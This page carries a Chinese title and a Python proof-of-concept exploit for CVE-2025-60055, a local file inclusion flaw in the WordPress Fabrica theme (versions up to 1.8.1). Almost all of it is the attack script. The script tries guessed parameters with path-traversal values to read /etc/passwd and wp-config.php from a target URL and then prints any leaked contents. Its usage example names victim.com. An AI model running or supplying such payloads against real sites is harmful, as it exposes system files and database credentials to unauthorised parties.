CVE-2025-60055 Fabrica主题本地文件包含漏洞

# CVE-2025-60055 Fabrica Theme LFI PoC # Target: WordPress site with Fabrica theme <= 1.8.1 import requests import sys def test_lfi(target_url, file_path='/etc/passwd'): """Test for Local File Inclusion vulnerability in Fabrica theme""" # Common vulnerable parameters in Fabrica theme vulnerable_params = [ 'file', 'template', 'page', 'view', 'load', 'include' ] # Try to read sensitive files test_files = [ '/etc/passwd', '../../../../wp-config.php', '../../../wp-config.php', '/var/www/html/wp-config.php' ] print(f"[*] Testing target: {target_url}") print(f"[*] Attempting to read: {file_path}") for param in vulnerable_params: for test_file in test_files: try: # Encode path traversal payload = {param: test_file} response = requests.get(target_url, params=payload, timeout=10) # Check if file content is leaked if response.status_code == 200: if 'root:' in response.text or 'wp_' in response.text: print(f"[!] VULNERABLE! Parameter: {param}") print(f"[!] Payload: {test_file}") print(f"[+] File content preview:\n{response.text[:500]}") return True except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") print("[-] No LFI vulnerability detected") return False if __name__ == '__main__': if len(sys.argv) < 2: print("Usage: python poc.py <target_url>") print("Example: python poc.py http://victim.com/wp-content/themes/fabrica/") sys.exit(1) target = sys.argv[1] test_lfi(target)